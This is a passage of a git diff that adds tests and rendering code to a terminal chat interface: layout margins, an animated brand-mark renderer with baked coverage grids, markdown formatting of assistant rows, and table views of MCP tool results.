80, height: 24 }, + ) + }) +}) + +describe("bottom edge", () => { + test("the prompt box rests on the terminal's last row", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 30 }, + wireKeys: false, + }) + try { + appendStreamRow(shell, { role: "user", text: "check the bottom" }) + await settle(h) + const rows = frameRows(h) + // The box is what the operator types into; it belongs where the + // cursor already is, not floating a row above it. + expect(rows[rows.length - 1]?.trim()).not.toBe("") + } finally { + shell.dispose() + } + }, + { width: 80, height: 30 }, + ) + }) + + test("zone heights still sum to the terminal height at several heights", () => { + for (const rows of [12, 18, 23, 24, 30, 60]) { + const layout = resolveGeometry({ terminal: { columns: 80, rows } }) + const total = Object.values(layout.heights).reduce((a, b) => a + b, 0) + expect(total).toBe(rows) + } + }) + + + test("collapses to zero on a short terminal so nothing else starves", async () => { + const rows = BOTTOM_MARGIN_MIN_ROWS - 1 + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows }, + wireKeys: false, + run: "idle", + }) + try { + appendStreamRow(shell, { role: "user", text: "short terminal" }) + await settle(h) + expect(shell.bottomPad.height).toBe(1) + expect(shell.bottomPad.visible).toBe(false) + } finally { + shell.dispose() + } + }, + { width: 80, height: rows }, + ) + }) +}) + +describe("painted gutter", () => { + for (const columns of [120, 80, 60, 48]) { + test(`nothing paints inside the gutter at ${columns} columns`, async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns, rows: 24 }, + wireKeys: false, + run: "idle", + }) + try { + appendStreamRow(shell, { role: "user", text: "check the margins" }) + appendStreamRow(shell, { + role: "assistant", + text: "# heading\n\nbody text that is long enough to wrap somewhere", + }) + appendStreamRow(shell, { + role: "tool", + text: "42 matches", + meta: "grep", + }) + await settle(h) + + const margin = resolveSideMargin(columns) + expect(margin).toBeGreaterThan(0) + for (const row of frameRows(h)) { + expect(row.slice(0, margin)).toBe(" ".repeat(margin)) + expect(row.slice(columns - margin, columns)).toBe( + " ".repeat(margin), + ) + } + } finally { + shell.dispose() + } + }, + { width: columns, height: 24 }, + ) + }) + } + + test("below the floor the gutter yields the columns back to content", async () => { + const columns = MARGIN_MIN_COLUMNS - 4 + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns, rows: 24 }, + wireKeys: false, + run: "idle", + }) + try { + appendStreamRow(shell, { role: "user", text: "narrow" }) + await settle(h) + expect(shell.layout.sideMargin).toBe(0) + expect(shell.layout.contentWidth).toBe(columns) + // The prompt box is the widest always-on surface: it must still fit. + expect(frameRows(h).some((row) => row.includes("╭"))).toBe(true) + } finally { + shell.dispose() + } + }, + { width: columns, height: 24 }, + ) + }) +}) diff --git a/src/tui-opentui/mark-anim.test.ts b/src/tui-opentui/mark-anim.test.ts new file mode 100644 index 000000000..0fd988fb7 --- /dev/null +++ b/src/tui-opentui/mark-anim.test.ts @@ -0,0 +1,140 @@ +import { describe, expect, test } from "bun:test" + +import { + MARK_PERIOD_SECONDS, + markFrame, + markText, + renderMark, + smooth, +} from "./mark-anim" +import { MARK_COLS, MARK_COVERAGE, MARK_LARGE, MARK_ROWS } from "./mark-shape" +import { UI } from "./theme" + +describe("smooth", () => { + test("clamps outside [0, 1] and eases inside it", () => { + expect(smooth(-3)).toBe(0) + expect(smooth(0)).toBe(0) + expect(smooth(0.5)).toBe(0.5) + expect(smooth(1)).toBe(1) + expect(smooth(9)).toBe(1) + // Eased, not linear: the first quarter moves less than a quarter. + expect(smooth(0.25)).toBeLessThan(0.25) + }) +}) + +describe("markFrame", () => { + test("draws in, holds, fills bottom-up, holds, then fades", () => { + const at = (phase: number) => markFrame(phase * MARK_PERIOD_SECONDS, false) + + expect(at(0)).toEqual({ drawProg: 0, fillProg: 0, alpha: 1 }) + expect(at(0.19).drawProg).toBeCloseTo(0.5, 6) + expect(at(0.37).fillProg).toBe(0) + + // Hold: outline complete, nothing filled. + expect(at(0.38)).toEqual({ drawProg: 1, fillProg: 0, alpha: 1 }) + expect(at(0.47)).toEqual({ drawProg: 1, fillProg: 0, alpha: 1 }) + + // Fill. + expect(at(0.48).fillProg).toBeCloseTo(0, 6) + expect(at(0.62).fillProg).toBeCloseTo(0.5, 6) + expect(at(0.75).fillProg).toBeGreaterThan(0.99) + + // Hold full. + expect(at(0.76)).toEqual({ drawProg: 1, fillProg: 1, alpha: 1 }) + expect(at(0.89)).toEqual({ drawProg: 1, fillProg: 1, alpha: 1 }) + + // Fade out. + expect(at(0.9).alpha).toBe(1) + expect(at(0.95).alpha).toBeCloseTo(0.5, 6) + expect(at(0.999).alpha).toBeLessThan(0.01) + }) + + test("loops on the period and handles a negative clock", () => { + expect(markFrame(1.2, false)).toEqual(markFrame(1.2 + MARK_PERIOD_SECONDS, false)) + expect(markFrame(-0.1, false).alpha).toBeLessThan(1) + }) + + test("still is a fully drawn, fully filled mark at any time", () => { + for (const t of [0, 1.7, 4.59, 12345.678]) { + expect(markFrame(t, true)).toEqual({ drawProg: 1, fillProg: 1, alpha: 1 }) + } + }) +}) + +describe("renderMark", () => { + const emptyCells = (grid: readonly (readonly { char: string }[])[]): number => + grid.flat().filter((cell) => cell.char === " ").length + + test("is the mark's cell dimensions", () => { + const grid = renderMark({ nowMs: 0, still: true }) + expect(grid).toHaveLength(MARK_ROWS) + for (const row of grid) expect(row).toHaveLength(MARK_COLS) + }) + + test("never paints outside the silhouette", () => { + const grid = renderMark({ nowMs: 2000, still: false }) + grid.forEach((row, y) => { + row.forEach((cell, x) => { + if ((MARK_COVERAGE[y]?.[x] ?? 0) === 0) expect(cell.char).toBe(" ") + }) + }) + }) + + test("the silhouette is solid, with blocks only at partial coverage", () => { + const grid = renderMark({ nowMs: 0, still: true, grid: MARK_LARGE }) + grid.forEach((row, y) => { + row.forEach((cell, x) => { + expect(" ▁▂▃▄▅▆▇█").toContain(cell.char) + if ((MARK_LARGE.coverage[y]?.[x] ?? 0) === 1) expect(cell.char).toBe("█") + }) + }) + }) + + test("the still frame is clock-independent", () => { + const a = markText(renderMark({ nowMs: 0, still: true })) + const b = markText(renderMark({ nowMs: 987_654, still: true })) + expect(b).toBe(a) + expect(a.replace(/[\s\n]/g, "").length).toBeGreaterThan(0) + }) + + test("the animated frame advances with the injected clock", () => { + const frames = [0, 400, 900, 1500, 2400, 3200].map((nowMs) => + markText(renderMark({ nowMs, still: false })), + ) + expect(new Set(frames).size).toBeGreaterThan(1) + }) + + test("the outline reveals left to right", () => { + // Early in the draw phase only the leftmost columns may be lit. + const grid = renderMark({ nowMs: 0.06 * MARK_PERIOD_SECONDS * 1000, still: false }) + const lit = grid.flatMap((row) => + row.flatMap((cell, col) => (cell.char === " " ? [] : [col])), + ) + expect(Math.max(...lit, -1)).toBeLessThan(MARK_COLS) + const full = renderMark({ nowMs: 0.4 * MARK_PERIOD_SECONDS * 1000, still: false }) + expect(emptyCells(grid)).toBeGreaterThan(emptyCells(full)) + }) + + test("the fade thins the mark out toward empty", () => { + const held = renderMark({ nowMs: 0.8 * MARK_PERIOD_SECONDS * 1000, still: false }) + const fading = renderMark({ + nowMs: 0.995 * MARK_PERIOD_SECONDS * 1000, + still: false, + }) + expect(emptyCells(fading)).toBeGreaterThan(emptyCells(held)) + }) + + test("filling makes the mark denser than its outline alone", () => { + const weight = (grid: readonly (readonly { char: string }[])[]): number => + grid.flat().reduce((sum, cell) => sum + " ▁▂▃▄▅▆▇█".indexOf(cell.char), 0) + const outlineOnly = renderMark({ + nowMs: 0.42 * MARK_PERIOD_SECONDS * 1000, + still: false, + }) + const filled = renderMark({ + nowMs: 0.8 * MARK_PERIOD_SECONDS * 1000, + still: false, + }) + expect(weight(filled)).toBeGreaterThan(weight(outlineOnly)) + }) +}) diff --git a/src/tui-opentui/mark-anim.ts b/src/tui-opentui/mark-anim.ts new file mode 100644 index 000000000..e5be69807 --- /dev/null +++ b/src/tui-opentui/mark-anim.ts @@ -0,0 +1,157 @@ +/** + * The animated Corbits mark, ported from the web boot screen. + * + * The mark is the real silhouette (`mark-shape.ts`) drawn as a solid body, + * revealed left to right by `drawProg` and filled bottom-up by `fillProg`. The + * canvas version shades it with an ordered Bayer dither of a travelling sine + * wave; at hero size a terminal renders that as visible noise rather than as + * shimmer, so the terminal mark is opaque instead. + * + * Everything here is pure and clock-injected: `nowMs` is the only time source, + * so the caller's existing 250 ms status tick drives the animation and tests + * drive it deterministically. There is no timer in this module. + */ + +import { MARK_SMALL, type MarkGrid } from "./mark-shape.js" +import { UI } from "./theme.js" + +/** One full loop of the draw/fill/fade timeline. */ +export const MARK_PERIOD_SECONDS = 4.6 + +/** Smoothstep easing, clamped to [0, 1]. */ +export function smooth(x: number): number { + const c = clamp01(x) + return c * c * (3 - 2 * c) +} + +function clamp01(value: number): number { + if (!Number.isFinite(value)) return 0 + if (value < 0) return 0 + if (value > 1) return 1 + return value +} + +export type MarkFrame = { + /** 0..1 how much of the silhouette is revealed, left to right. */ + readonly drawProg: number + /** 0..1 bottom-up fill of the silhouette. */ + readonly fillProg: number + /** 0..1 overall opacity; the terminal approximates it as density. */ + readonly alpha: number +} + +/** + * The looping timeline: draw in (0-38%), hold (38-48%), fill bottom-up + * (48-76%), hold full (76-90%), fade out (90-100%), then repeat. `still` + * (reduced motion, or an idle session) is a static, fully-filled mark. + */ +export function markFrame(seconds: number, still: boolean): MarkFrame { + if (still) return { drawProg: 1, fillProg: 1, alpha: 1 } + const wrapped = + ((seconds % MARK_PERIOD_SECONDS) + MARK_PERIOD_SECONDS) % MARK_PERIOD_SECONDS + const p = wrapped / MARK_PERIOD_SECONDS + if (p < 0.38) return { drawProg: smooth(p / 0.38), fillProg: 0, alpha: 1 } + if (p < 0.48) return { drawProg: 1, fillProg: 0, alpha: 1 } + if (p < 0.76) { + return { drawProg: 1, fillProg: smooth((p - 0.48) / 0.28), alpha: 1 } + } + if (p < 0.9) return { drawProg: 1, fillProg: 1, alpha: 1 } + return { drawProg: 1, fillProg: 1, alpha: smooth((1 - p) / 0.1) } +} + +/** Eighth blocks, shortest to tallest, growing upward from the cell floor. */ +const EIGHTHS = ["▁", "▂", "▃", "▄", "▅", "▆", "▇", "█"] as const + +/** + * Coverage is raised to this power once a cell is filled. The mark is a thin + * ridgeline, so most cells it touches are only partially covered; the gamma + * lifts them far enough for the silhouette to read as one solid body while + * leaving the sparsest edge cells short enough to still slope. + */ +const FILL_GAMMA = 0.6 + +export type MarkCell = { + readonly char: string + readonly fg: string +} + +export type MarkInput = { + readonly nowMs: number + /** Hold the mark still: idle session, or reduced motion. */ + readonly still: boolean + /** Which baked rasterization to composite. Defaults to the compact grid. */ + readonly grid?: MarkGrid +} + +/** + * Composite one frame into a row-major cell grid. + * + * The silhouette is drawn solid: a wholly covered cell is `█` and a partly + * covered one is the eighth block matching its coverage, so the ridgeline + * slopes instead of staircasing. No dither texture survives inside the shape — + * the mark is a mountain, and a mountain is opaque. + * + * `alpha` has no terminal equivalent, so it scales the block height instead: + * the mark sinks toward empty rather than blending to black. + */ +export function renderMark(input: MarkInput): readonly (readonly MarkCell[])[] { + const shape = input.grid ?? MARK_SMALL + const seconds = input.nowMs / 1000 + const { drawProg, fillProg, alpha } = markFrame(seconds, input.still) + const revealed = drawProg * shape.cols + const fillLine = shape.rows * (1 - fillProg) + + const grid: MarkCell[][] = [] + for (let row = 0; row < shape.rows; row++) { + const cells: MarkCell[] = [] + // 1 once the row is wholly below the fill line, 0 once wholly above it. + const rowFill = clamp01(row + 1 - fillLine) + for (let col = 0; col < shape.cols; col++) { + const coverage = shape.coverage[row]?.[col] ?? 0 + const reveal = clamp01(revealed - col) + if (coverage === 0 || reveal === 0) { + cells.push({ char: " ", fg: UI.action }) + continue + } + // The outline states the shape at its true coverage; filling lifts it + // toward solid without squaring off the edge cells that carry the slope. + const outline = coverage + const filled = coverage ** FILL_GAMMA + const height = clamp01( + (outline + (filled - outline) * rowFill) * reveal * alpha, + ) + cells.push({ + char: fillEdgeChar(rowFill, height) ?? blockChar(height), + fg: UI.action, + }) + } + grid.push(cells) + } + return grid +} + +/** + * The row the fill is currently crossing. Solid interior cells change too + * little between outline and filled to show the sweep on their own, so the + * crossing row is drawn at the fill's own height — capped by the cell, which + * keeps the wipe inside the silhouette. + */ +function fillEdgeChar(rowFill: number, height: number): string | null { + if (rowFill <= 0 || rowFill >= 1) return null + return blockChar(Math.min(rowFill, height)) +} + +function blockChar(height: number): string { + const index = Math.min( + EIGHTHS.length - 1, + Math.round(height * EIGHTHS.length) - 1, + ) + // Below half an eighth there is no block short enough to be honest: the cell + // is closer to empty, which is also how the fade reaches nothing. + return index < 0 ? " " : (EIGHTHS[index] ?? " ") +} + +/** Flatten a frame to plain text — the shape assertion tests read this. */ +export function markText(grid: readonly (readonly MarkCell[])[]): string { + return grid.map((row) => row.map((cell) => cell.char).join("")).join("\n") +} diff --git a/src/tui-opentui/mark-shape.ts b/src/tui-opentui/mark-shape.ts new file mode 100644 index 000000000..c9008fffa --- /dev/null +++ b/src/tui-opentui/mark-shape.ts @@ -0,0 +1,101 @@ +/** + * The Corbits mark, rasterized once into terminal cell grids. + * + * The brand mark is an SVG path (viewBox 32 115 437 270). Parsing and + * scan-converting it at runtime would cost startup time to reproduce a value + * that can never change, so the coverage grids are baked in here: each entry is + * the fraction of the cell covered by the filled path, sampled 6x6 per cell + * with the same centered 92% fit the web boot screen uses + * (`computeMapTransform`). + * + * Cells are assumed twice as tall as they are wide, so a grid of W x H cells is + * fitted into W x 2H square units and the mark's 1.62 aspect ratio survives. + * + * Three grids are baked, because one size cannot serve every job. The landing + * picks the largest that fits its zone; below the largest, the ridgeline's + * crossings start to collapse into each other and the silhouette drifts from + * mark toward noise, so the smaller grids are fallbacks, not preferences. + * + * `MARK_LARGE` 40x12 — the landing hero. + * `MARK_MID` 30x9 — a tall-enough terminal that still cannot seat 12 rows. + * `MARK_SMALL` 16x5 — the compact fallback, and the source the bottom-left + * lockup downsamples into its one-row ridgeline. + */ + +export type MarkGrid = { + readonly cols: number + readonly rows: number + /** Row-major cell coverage in [0, 1]. `coverage[row][col]`. */ + readonly coverage: readonly (readonly number[])[] +} + +export const MARK_SMALL: MarkGrid = { + cols: 16, + rows: 5, + coverage: [ + [0, 0, 0, 0, 0, 0, 0, 0, 0.08, 0.44, 0.58, 0.11, 0, 0, 0, 0], + [0, 0, 0, 0, 0, 0, 0, 0.28, 0.31, 0.08, 0.67, 0.94, 0.67, 0.03, 0, 0], + [0, 0, 0, 0.25, 0.56, 0.44, 0.39, 0.11, 0, 0.03, 0.67, 0.28, 0.25, 0.72, 0.06, 0], + [0, 0.14, 0.36, 0.11, 0.31, 0.5, 0, 0, 0.25, 0.53, 0.19, 0, 0, 0.39, 0.53, 0], + [0.08, 0.22, 0, 0, 0, 0, 0, 0.31, 0.31, 0, 0, 0, 0, 0, 0.28, 0.17], + ], +} + +export const MARK_MID: MarkGrid = { + cols: 30, + rows: 9, + coverage: [ + [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.25, 0.61, 0.36, 0.03, 0, 0, 0, 0, 0, 0, 0, 0, 0], + [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.08, 0.58, 0.42, 0.81, 1, 0.86, 0.33, 0, 0, 0, 0, 0, 0, 0, 0], + [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.28, 0.61, 0.08, 0, 0.22, 0.64, 1, 1, 0.86, 0.47, 0, 0, 0, 0, 0, 0], + [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.31, 0.5, 0.53, 0, 0, 0, 0, 0.44, 1, 0.75, 0.47, 0.94, 0.44, 0, 0, 0, 0, 0], + [0, 0, 0, 0, 0, 0, 0.06, 0.47, 0.81, 0.83, 0.33, 0.44, 0.42, 0, 0, 0, 0, 0, 0.03, 0.78, 0.86, 0.03, 0, 0.33, 0.97, 0.61, 0.03, 0, 0, 0], + [0, 0, 0, 0, 0, 0.39, 0.67, 0.11, 0.17, 1, 0.97, 0.39, 0, 0, 0, 0, 0, 0.08, 0.75, 0.72, 0.08, 0, 0, 0, 0.31, 1, 0.22, 0, 0, 0], + [0, 0, 0, 0.28, 0.58, 0.31, 0, 0, 0.08, 0.92, 0.28, 0, 0, 0, 0, 0.06, 0.5, 0.83, 0.33, 0, 0, 0, 0, 0, 0.06, 0.64, 0.81, 0.47, 0, 0], + [0, 0, 0.44, 0.5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.22, 0.89, 0.47, 0.03, 0, 0, 0, 0, 0, 0, 0, 0, 0.28, 0.97, 0.06, 0], + [0, 0.17, 0.19, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.33, 0.47, 0.08, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.36, 0.19, 0], + ], +} + +export const MARK_LARGE: MarkGrid = { + cols: 40, + rows: 12, + coverage: [ + [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.11, 0.44, 0.36, 0.03, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], + [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.03, 0.47, 0.72, 0.75, 1, 0.89, 0.42, 0.03, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], + [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.28, 0.78, 0.39, 0, 0.81, 1, 1, 1, 0.86, 0.33, 0.03, 0, 0, 0, 0, 0, 0, 0, 0, 0], + [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.53, 0.72, 0.08, 0, 0, 0.03, 0.28, 0.83, 1, 1, 1, 0.97, 0.58, 0, 0, 0, 0, 0, 0, 0, 0], + [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.06, 0.33, 0.67, 0.58, 0.03, 0, 0, 0, 0, 0, 0.89, 1, 0.97, 0.56, 0.83, 1, 0.36, 0, 0, 0, 0, 0, 0, 0], + [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.25, 0.64, 0.53, 0.11, 0, 0.17, 0.81, 0.28, 0.19, 0, 0, 0, 0, 0, 0, 0.11, 1, 1, 0.28, 0, 0.06, 0.89, 1, 0.64, 0, 0, 0, 0, 0, 0], + [0, 0, 0, 0, 0, 0, 0, 0, 0.22, 0.69, 0.5, 0.69, 1, 0.97, 0.61, 0.83, 0.17, 0, 0, 0, 0, 0, 0, 0, 0.06, 0.72, 1, 0.47, 0, 0, 0, 0.06, 0.67, 1, 0.78, 0, 0, 0, 0, 0], + [0, 0, 0, 0, 0, 0, 0.11, 0.64, 0.72, 0.11, 0, 0.19, 1, 1, 0.83, 0.14, 0, 0, 0, 0, 0, 0, 0, 0.19, 0.83, 0.92, 0.31, 0, 0, 0, 0, 0, 0, 0.97, 1, 0.03, 0, 0, 0, 0], + [0, 0, 0, 0, 0.06, 0.5, 0.72, 0.33, 0, 0, 0, 0.03, 1, 0.78, 0.08, 0, 0, 0, 0, 0, 0, 0.11, 0.58, 0.94, 0.56, 0.06, 0, 0, 0, 0, 0, 0, 0, 0.61, 0.89, 0.81, 0.47, 0, 0, 0], + [0, 0, 0, 0.17, 0.81, 0.31, 0, 0, 0, 0, 0, 0.14, 0.28, 0.03, 0, 0, 0, 0, 0, 0, 0.5, 0.97, 0.69, 0.14, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.67, 1, 0.17, 0, 0], + [0, 0, 0.33, 0.69, 0.14, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.17, 0.69, 0.83, 0.28, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.11, 0.97, 0.56, 0, 0], + [0, 0, 0.31, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.17, 0.5, 0.22, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.08, 0.31, 0, 0], + ], +} + +/** The compact grid's dimensions and coverage. */ +export const MARK_COLS = MARK_SMALL.cols +export const MARK_ROWS = MARK_SMALL.rows +export const MARK_COVERAGE = MARK_SMALL.coverage + +/** + * The mark's upper silhouette, sampled far finer than any cell grid: 96 columns + * of ridge height in [0, 1], 0 where the column is off the mark. + * + * The one-row lockup downsamples this rather than a cell grid. The valley where + * the left summit meets the main slope is a single sample deep at cell + * resolution, so a grid coarse enough to draw loses it before the lockup ever + * sees it; at 96 samples it survives the trip down to a dozen columns. + */ +export const MARK_RIDGE: readonly number[] = [ + 0, 0, 0, 0.1, 0.13, 0.17, 0.17, 0.2, 0.23, 0.27, 0.3, 0.3, 0.33, 0.33, 0.37, + 0.37, 0.4, 0.43, 0.43, 0.47, 0.47, 0.5, 0.5, 0.53, 0.53, 0.57, 0.57, 0.57, + 0.57, 0.57, 0.53, 0.53, 0.5, 0.5, 0.5, 0.5, 0.53, 0.57, 0.57, 0.6, 0.63, + 0.63, 0.63, 0.63, 0.67, 0.7, 0.73, 0.77, 0.77, 0.8, 0.83, 0.83, 0.87, 0.87, + 0.9, 0.93, 0.93, 0.97, 0.97, 0.97, 0.97, 0.97, 0.93, 0.93, 0.93, 0.9, 0.9, + 0.87, 0.87, 0.83, 0.8, 0.8, 0.77, 0.77, 0.77, 0.77, 0.73, 0.7, 0.67, 0.6, + 0.6, 0.57, 0.53, 0.5, 0.5, 0.4, 0.33, 0.33, 0.33, 0.3, 0.23, 0.17, 0, 0, 0, 0, +] diff --git a/src/tui-opentui/markdown-rows.test.ts b/src/tui-opentui/markdown-rows.test.ts new file mode 100644 index 000000000..d816769b7 --- /dev/null +++ b/src/tui-opentui/markdown-rows.test.ts @@ -0,0 +1,147 @@ +/** + * Transcript markdown rendering — assistant rows must render formatted, + * not as literal markdown source. + */ + +import { describe, expect, test } from "bun:test" +import { withTestRenderer, type Harness } from "./harness" +import { appendStreamRow, createAppShell, replaceStreamRowAt } from "./shell" +import { isMarkdownRow } from "./stream" + +const WIDE = { width: 80, height: 24 } as const + +const shellOpts = { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, +} as const + +/** Markdown blocks highlight asynchronously; settle before capturing a frame. */ +async function settle(h: Harness): Promise { + await new Promise((resolve) => setTimeout(resolve, 250)) + await h.renderOnce() + await h.renderOnce() + return h.captureCharFrame() +} + +describe("markdown transcript rows", () => { + test("row roles pick markdown only for assistant text", () => { + expect(isMarkdownRow({ role: "assistant", text: "# hi" })).toBe(true) + expect(isMarkdownRow({ role: "tool", text: "# hi" })).toBe(false) + expect(isMarkdownRow({ role: "user", text: "# hi" })).toBe(false) + expect(isMarkdownRow({ role: "system", text: "# hi" })).toBe(false) + expect(isMarkdownRow({ role: "tool", text: "# hi", markdown: true })).toBe( + true, + ) + }) + + test("heading, bold, list, fence and link render formatted", async () => { + await withTestRenderer(async (h) => { + const shell = createAppShell(h.renderer, shellOpts) + appendStreamRow(shell, { + role: "assistant", + text: [ + "## Title", + "", + "**bolded** text", + "", + "- alpha", + "- beta", + "", + "```ts", + "const x = 1", + "```", + "", + "[docs](https://example.com/docs)", + ].join("\n"), + }) + + const frame = await settle(h) + expect(frame).toContain("Title") + expect(frame).not.toContain("## Title") + expect(frame).toContain("bolded") + expect(frame).not.toContain("**bolded**") + expect(frame).toContain("alpha") + expect(frame).toContain("const x = 1") + expect(frame).not.toContain("```") + expect(frame).toContain("docs") + expect(frame).not.toContain("](https://example.com/docs)") + }, WIDE) + }) + + test("### heading conceals its marker with no preceding blank line", async () => { + await withTestRenderer(async (h) => { + const shell = createAppShell(h.renderer, shellOpts) + appendStreamRow(shell, { + role: "assistant", + text: [ + "### What the site is", + "It's a product storefront + brand hub. Nav covers:", + "", + "**Hardware:** boards and enclosures.", + ].join("\n"), + }) + + const frame = await settle(h) + expect(frame).toContain("What the site is") + expect(frame).not.toContain("###") + expect(frame).toContain("Hardware:") + expect(frame).not.toContain("**Hardware:**") + }, WIDE) + }) + + test("tool and system rows stay literal", async () => { + await withTestRenderer(async (h) => { + const shell = createAppShell(h.renderer, shellOpts) + appendStreamRow(shell, { role: "tool", text: "## not a heading" }) + appendStreamRow(shell, { role: "system", text: "**raw**" }) + + const frame = await settle(h) + expect(frame).toContain("## not a heading") + expect(frame).toContain("**raw**") + }, WIDE) + }) + + test("streaming row keeps a partial fence uncorrupted", async () => { + await withTestRenderer(async (h) => { + const shell = createAppShell(h.renderer, shellOpts) + appendStreamRow(shell, { + role: "assistant", + streaming: true, + text: ["## Done", "", "```ts", "const partial = "].join("\n"), + }) + + const frame = await settle(h) + expect(frame).toContain("Done") + expect(frame).not.toContain("## Done") + expect(frame).toContain("const partial =") + }, WIDE) + }) + + test("a half-arrived heading marker never paints as literal text", async () => { + await withTestRenderer(async (h) => { + const shell = createAppShell(h.renderer, shellOpts) + appendStreamRow(shell, { + role: "assistant", + streaming: true, + text: ["Some body text.", "", "#### "].join("\n"), + }) + + // `####` on its own is not yet a heading, so the parser reads it as + // literal text and the row paints the bare markers until the title's + // first character lands. Held back instead, so the line's classification + // cannot flip under text already on screen. + const frame = await settle(h) + expect(frame).toContain("Some body text.") + expect(frame).not.toContain("####") + + replaceStreamRowAt(shell, shell.streamLog.length - 1, { + role: "assistant", + streaming: true, + text: ["Some body text.", "", "#### Title"].join("\n"), + }) + const next = await settle(h) + expect(next).toContain("Title") + expect(next).not.toContain("#### Title") + }, WIDE) + }) +}) diff --git a/src/tui-opentui/mcp-view.test.ts b/src/tui-opentui/mcp-view.test.ts new file mode 100644 index 000000000..403b603ad --- /dev/null +++ b/src/tui-opentui/mcp-view.test.ts @@ -0,0 +1,286 @@ +/** + * Structured MCP result rows — record lists paint as an aligned table, + * single records as label/value rows, never as raw JSON. + */ + +import { describe, expect, test } from "bun:test" + +import { + extractMcpRecord, + extractMcpRecords, +} from "../tui/mcp-result-format.js" +import { toolCallRow } from "./diff" +import { withTestRenderer, type Harness } from "./harness" +import { mcpStructuredView, toolResultRow } from "./mcp-view" +import { appendStreamRow, createAppShell } from "./shell" +import { + isCollapsibleRow, + isMarkdownRow, + isStructuredRow, + type StreamRow, +} from "./stream" + +const WIDE = { width: 100, height: 24 } as const + +const shellOpts = { + terminal: { columns: 100, rows: 24 }, + wireKeys: false, +} as const + +const LIST = JSON.stringify({ + projects: [ + { name: "Alpha", status: "In Progress", priority: "urgent" }, + { name: "Beta", status: { name: "Done" }, priority: "low" }, + ], + hasNextPage: false, +}) + +const RECORD = JSON.stringify({ + id: "abc123", + name: "Alpha", + status: "In Progress", + targetDate: "2026-01-31T00:00:00.000Z", +}) + +async function settle(h: Harness): Promise { + await h.renderOnce() + await h.renderOnce() + return h.captureCharFrame() +} + +/** Column start index of `needle` on the first line that contains it. */ +function columnOf(frame: string, needle: string): number { + const line = frame.split("\n").find((l) => l.includes(needle)) + expect(line).toBeDefined() + return (line as string).indexOf(needle) +} + +describe("extractMcpRecords / extractMcpRecord", () => { + test("pulls a wrapped record array", () => { + const records = extractMcpRecords(LIST) + expect(records?.label).toBe("projects") + expect(records?.items).toHaveLength(2) + }) + + test("distinguishes a single record from a list", () => { + expect(extractMcpRecords(RECORD)).toBeNull() + expect(extractMcpRecord(RECORD)).not.toBeNull() + expect(extractMcpRecord(LIST)).toBeNull() + }) +}) + +describe("mcpStructuredView", () => { + test("record list becomes a header plus one row per record", () => { + const view = mcpStructuredView("mcp__linear__list_projects", LIST) + expect(view).not.toBeNull() + const cells = view?.cells ?? [] + expect(cells[0]?.map((c) => c.text)).toEqual([ + "#", + "Name", + "Status", + "Priority", + ]) + expect(cells[1]?.map((c) => c.text)).toEqual([ + "1", + "Alpha", + "In Progress", + "urgent", + ]) + expect(cells[2]?.[2]).toEqual({ text: "Done", tone: "success" }) + expect(cells[1]?.[3]?.tone).toBe("danger") + }) + + test("single record becomes label/value rows with dates truncated", () => { + const view = mcpStructuredView("mcp__linear__get_project", RECORD) + expect(view?.cells.map((row) => row.map((c) => c.text))).toEqual([ + ["Alpha", ""], + ["Status", "In Progress"], + ["Target Date", "2026-01-31"], + ]) + }) + + test("non-MCP tools and non-record payloads stay unstructured", () => { + expect(mcpStructuredView("bash", LIST)).toBeNull() + expect(mcpStructuredView("mcp__linear__ping", "just text")).toBeNull() + expect( + toolResultRow({ name: "mcp__linear__x", content: LIST, isError: true }) + .structured, + ).toBeUndefined() + }) + + test("structured rows are not markdown rows", () => { + const row = toolResultRow({ + name: "mcp__linear__list_projects", + content: LIST, + }) + expect(isStructuredRow(row)).toBe(true) + expect(isMarkdownRow(row)).toBe(false) + }) +}) + +describe("structured transcript rows", () => { + test("record list renders aligned columns once expanded", async () => { + await withTestRenderer(async (h) => { + const shell = createAppShell(h.renderer, shellOpts) + appendStreamRow(shell, { + ...toolResultRow({ name: "mcp__linear__list_projects", content: LIST }), + expanded: true, + }) + + const frame = await settle(h) + expect(frame).toContain("Name") + expect(frame).toContain("Alpha") + expect(frame).not.toContain('{"projects"') + // Same column for both records means native table alignment held. + expect(columnOf(frame, "Alpha")).toBe(columnOf(frame, "Beta")) + expect(columnOf(frame, "In Progress")).toBe(columnOf(frame, "Done")) + }, WIDE) + }) + + test("single record renders label/value rows once expanded", async () => { + await withTestRenderer(async (h) => { + const shell = createAppShell(h.renderer, shellOpts) + appendStreamRow(shell, { + ...toolResultRow({ name: 